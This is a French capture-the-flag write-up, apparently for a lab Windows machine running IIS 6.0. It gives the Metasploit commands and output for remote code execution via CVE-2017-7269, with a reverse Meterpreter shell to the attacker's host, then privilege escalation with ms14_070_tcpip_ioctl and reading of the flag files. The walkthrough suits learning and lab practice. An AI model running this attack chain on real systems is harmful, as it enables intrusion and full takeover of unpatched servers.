Introduction

La machine distante est une Windows dont l'adresse IP est 10.10.10.14.

Compétences mises en œuvre :

- Énumération des ports et services.
- Recherche et exploitation de CVE.
- Elévation de privilège classique sur Windows.

Énumération

On comme par énumérer les ports et services avec **nmap** :

```
$ nmap –T4 –A 10.10.10.14
```

```
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 6.0
| http-methods:
|_  Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
| http-webdav-scan:
|   Server Type: Microsoft-IIS/6.0
|   Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|   WebDAV type: Unknown
|   Server Date: Tue, 25 Aug 2020 17:19:06 GMT
|_  Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

Seul le port **80** est ouvert, le service qui tourne derrière est un **Microsoft IIS version 6.0**. La dernière version stable d'IIS est la version 10, donc nous pouvons chercher pour une CVE/un exploit sur google : **iis 6.0 cve remote code execution**

Nous trouvons une CVE qui est la **CVE-2017-7269**.

Exploitation

Sur **Metasploit**, nous recherchons la CVE :

```
Msf > search CVE-2017-7269
```

```
msf6 > search CVE-2017-7269

Matching Modules
================

   #  Name                                          Disclosure Date  Rank    Check  Description
   -  ----                                          ---------------  ----    -----  -----------
   0  exploit/windows/iis/iis_webdav_scstoragepathfromurl  2017-03-26       manual  Yes    Microsoft IIS WebDav ScStoragePathFromUrl O
verflow
```

Nous l'utilisons alors pour avoir une session **meterpreter** :

```
Msf > use exploit/windows/iis/iis_webdav_scstoragepathfromurl
Msf > set RHOST 10.10.10.14
Msf > run
```

```
msf6 exploit(windows/iis/iis_webdav_scstoragepathfromurl) > run

[*] Started reverse TCP handler on 10.10.14.27:4444
[*] Trying path length 3 to 60 ...
[*] Sending stage (175174 bytes) to 10.10.10.14
[*] Meterpreter session 1 opened (10.10.14.27:4444 -> 10.10.10.14:1031) at 2020-08-25 19:23:33 +0200

meterpreter >
```

Elévation de privilège

Une fois notre session **meterpreter** acquise, nous changeons de processus :

```
Meterpreter > ps
Meterpreter > migrate
```

```
 1576  620   davcdata.exe       x86   0        NT AUTHORITY\NETWORK SERVICE  C:\WINDOWS\system32\inetsrv\davcdata.exe
 1604  396   svchost.exe
 1704  396   alg.exe
 1836  620   wmiprvse.exe       x86   0        NT AUTHORITY\NETWORK SERVICE  C:\WINDOWS\system32\wbem\wmiprvse.exe
 1916  396   dllhost.exe
 2308  620   wmiprvse.exe
 2604  348   logon.scr
 3844  1460  w3wp.exe           x86   0        NT AUTHORITY\NETWORK SERVICE  c:\windows\system32\inetsrv\w3wp.exe

meterpreter > migrate 1576
[*] Migrating from 792 to 1576...
[*] Migration completed successfully.
```

Maintenant, exécutons le module classique pour vérifier si la machine est faillible par les failles de bases :

```
Meterpreter > run post/multi/recon/local_exploit_suggester
```

```
meterpreter > run post/multi/recon/local_exploit_suggester

[*] 10.10.10.14 - Collecting local exploits for x86/windows...
[*] 10.10.10.14 - 34 exploit checks are being tried...
nil versions are discouraged and will be deprecated in Rubygems 4
[+] 10.10.10.14 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
[+] 10.10.10.14 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
[+] 10.10.10.14 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
```

Après avoir testé plusieurs exploits, **ms14_070_tcpip_ioctl** a fonctionné :

```
Meterpreter > background
Msf > use windows/local/ms14_070_tcpip_ioctl
Msf > set session 1
Msf > run
```

```
msf6 exploit(windows/local/ms14_070_tcpip_ioctl) > run

[*] Started reverse TCP handler on 10.10.14.27:4444
[*] Storing the shellcode in memory...
[*] Triggering the vulnerability...
[*] Checking privileges after exploitation...
[+] Exploitation successful!
[*] Sending stage (175174 bytes) to 10.10.10.14
[*] Meterpreter session 2 opened (10.10.14.27:4444 -> 10.10.10.14:1032) at 2020-08-25 19:30:27 +0200

meterpreter >
```

Pour finir, nous cherchons les fichiers contenants les flags et nous les lisons :

```
Meterpreter > search –f user.txt
Meterpreter > search –f root.txt
Meterpreter > shell
C:\ > type "c:\Documents and Settings\Harry\Desktop\user.txt"
C:\ > type "c:\Documents and Settings\Administrator\Desktop\root.txt"
```